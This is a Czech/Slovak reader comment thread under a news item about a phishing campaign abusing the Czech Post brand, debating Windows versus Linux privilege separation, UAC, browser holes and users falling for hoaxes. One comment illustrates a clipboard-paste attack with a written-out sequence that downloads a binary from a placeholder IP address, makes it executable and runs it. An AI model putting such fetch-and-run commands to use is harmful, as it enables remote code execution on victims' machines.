Vlákno názorů ke zprávičce Mailová kampaň zneužívající Českou poštu míří i na Android od SB - Dle odkazu z Eset dopis obsahuje obyčejný, prašivý...
-
Mluvite z cesty. To se tyka leda tak nejakych vykopavek a i u tech typicky staci nastavit rw pristup k nejakemu souboru, obvykle nejakemu .ini a je to, i kdyz jsem videl vyjimky, kde jsem ani s filemonem a regmonem neprisel na to, proc to pod normalnim userem nechrochta.
Osobne se jako admin loguji velmi vzacne, vetsinu administrace obstaram pod normalni userem z FreeCommanderu spustenym pod adminem. Ke stejnemu pristupu jsem donutil moji lepsi polovicku a par dalsich lidi a zatim nam to vychazi. Tedy hlavne jim, ja Widle pouzivam tak 2x do roka. A, BTW, aplikaci, ktera vyzadovala o 111 vice, nez cislo selmy, jsem jeste na Linuxu nevidel. Ale mozna sem zkuste dat link, kde lze stahnout vase aplikace a pak mozna uvidim.
-
Lael Ophir (neregistrovaný)
Trochu opravím:
1. Malware tohoto typu může pracovat i pod účtem neprivilegovaného uživatele.
2. Pokud uživatel ve Windows pracuje pod adminem, ve skutečnosti jede pod neprivilegovaným účtem, a pro akce vázané na práva administrátora musí provést potvrzení UAC na Secure Desktopu (to je ta zšedlá obrazovka, které například žádná aplikace nemůže posílat window messages). -
1. To je sice pravda, ale infekci pod userem vycistim a bude pokoj. Infekci pod adminem ne. To budu muset preinstalovat, protoze tomu stroji uz nikdy nebudu verit, dokud disk neprevalcuju dd z /dev/zero.
2. UAC lze vypnout, rada lidi to ma vypnute, aby je to neotravovalo. A pokud ne, BFU to odklepne a je to. -
Lael Ophir (neregistrovaný)
1. Infekce běžící pod lokálním uživatelem se může rozšířit. Namátkou může počkat na nějakou privilege escalation vulnerability (malware se dnes běžně aktualizuje a dotahuje si moduly), nebo zkusit brute force attack na hesla (lokálně to půjde rychle). Ale daleko lepší je počkat až bude běžet nějaký s vyšším oprávněním, a posílat mu window messages. Představte si že spustíte třeba konzoli pod rootem, a aplikace běžící pod limitovaným uživatelem dá do clipboardu něco jako
wget http://ipadresa/balicek.bin
chmod 777 balicek.bin
./balicek.bin
cls
Pak vybere okno té konzole a pošle mu událost stisku pravého tlačítka myši (tedy paste z clipboardu). No a je vymalováno. Tohle je primitivní příklad, v praxi byste jistě vymyslel lepší.
Na Windows jsou podobné scénáře komplikované jistými pravidly routování window messages; na Linuxu tomu nebrání nikdo na nic.2. Pak je ovšem úplně jedno, jestli si uživatel vypne UAC, dá na roota prázdné heslo, nebo bez rozmyšlení napíše heslo na každou výzvu :)
-
Obo hlavne kdyz nekomu poslete na Linuxovy stroj binarku, tak se muze uklikat k smrti, ale nespusti ji. Vyjimkou jsou snad jen .exe z Widli, ktere jsem videl automaticky otvirat pri oklikani, coz se mi nelibi. Ale u tech zase rozumny clovek ma WINE nakonfigurovane tak, aby nebylo videt vice, nez adresar, ktery simuluje widlovy disk.
-
Lael Ophir (neregistrovaný)
To je ale úplně jedno. Máme tady totiž geniální vynález: webové prohlížeče. Sice umí parsovat jen pár set tagů, ale zato jsou prakticky non-stop děravé. Aby to byla zajímavější, všichni se snaží do browseru přesunout úplně všechno - jen ať je to pomalejší, umí to méně a je to méně pohodlné.
No a díky věčně rozbitým browserům stačí jen uživatele navést na vhodnou stránku. Klidně i použitím reklamního systému.
Dalším vektorem mohou být třeba emailoví klienti. Většina těch na Linuxu používá přece stejný HTML engine jako browsery (Outlook už z tohoto důvodu používá odlišnou a ořezanou implementaci).
-
j (neregistrovaný)
heh ... hele, znamej svyho casu udelal takovej test. Dal do mailu odkaz na jar ... kterej nedelal nic jinyho, nez ze po spusteni vyskocila hlaska "zdravim te troubo, prave sem ti smazal disk". Poslal to na cca 50 mailu svych znamych ... 40 z nich to pustilo.
Takze ono zname "jsme chuda zeme, toto je nas levny virus, smazte si nahodny soubor na disku a poslete to dal" ... zjevne stale velmi dobre funguje.
-
Delate si srandu, ale takovy "virus" vazne existoval v dobe starych strasnych W98. Tehdy koloval mail, ktery upozornoval na riziko jakesi straslive nakazy a vyzyval prijemce, aby se podival nekam do system32, jestli tam ma nejaky soubor. Pokud ano, pocitac je nakazen a je nutno soubor smazat. Predpokladam, ze i existovaly verze v ruznych jazycich - ja videl francouzskou. Zajimalo by mne, kolik lidi skocilo na lep, rspektive jake % prijemcu a jak dalece ten soubor byl kriticky pro cinnost Widli.
-
TrSek32 (neregistrovaný)
Bez srandy nam to do firmy prislo z takeho mailu ze sme mali dilemu. Polovica kolegov tomu verila druha mala pochybnosti. Nakoniec sme urobili cistu instalacku windows a zistili ze ten subor tak je legalne.
Odvtedy uz sa nesmejem uzivatelom a nenadavam im do BFU. Chapem ze vsetko je len o okolnostiach. Kto si mysli ze nenaleti si len koleduje o to mega podvod spachany na nom samom.
